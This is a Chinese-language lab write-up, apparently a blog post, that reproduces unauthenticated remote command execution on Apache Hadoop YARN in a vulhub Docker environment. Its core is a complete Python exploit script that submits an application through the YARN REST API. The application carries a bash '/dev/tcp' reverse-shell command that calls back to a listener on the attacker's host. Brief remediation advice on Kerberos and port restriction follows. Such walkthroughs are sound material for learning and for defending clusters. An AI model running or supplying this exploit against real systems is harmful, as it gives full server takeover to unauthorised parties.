简介:
Hadoop是一款由Apache基金会推出的分布式系统框架,它通过著名的MapReduce算法进行分布式处理,Yarn是Hadoop集群的资源管理系统。
因HadoopYARN资源管理系统配置不当,导致可以未经授权进行访问,从而被攻击者恶意利用。攻击者无需认证即可通过REST API部署任务来执行任意指令,最终完全控制服务器。
环境搭建:
这里直接使用vulhub中对应的环境
cd vulhub/hadoop/unauthorized-yarn
docker-compose up -d
访问
http://192.168.161.136:8088/cluster
环境搭建完成
漏洞复现:
能直接访问到界面就证明存在未授权访问漏洞
漏洞利用:
#!/usr/bin/env python
import requests
target = 'http://192.168.161.136:8088/'
lhost = '192.168.161.128' # 修改lhost反弹shell的IP
url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)
保存为exp.py
kali做好监听9999端口
执行
python3 exp.py
成功反弹回shell
修复建议:
1.Apache Hadoop官方建议用户开启Kerberos认证。
2.设置 Hadoop RPC服务所在端口仅对可信地址开放。
3.建议升级并启用Kerberos的认证功能,阻止未经授权的访问。
Comments NOTHING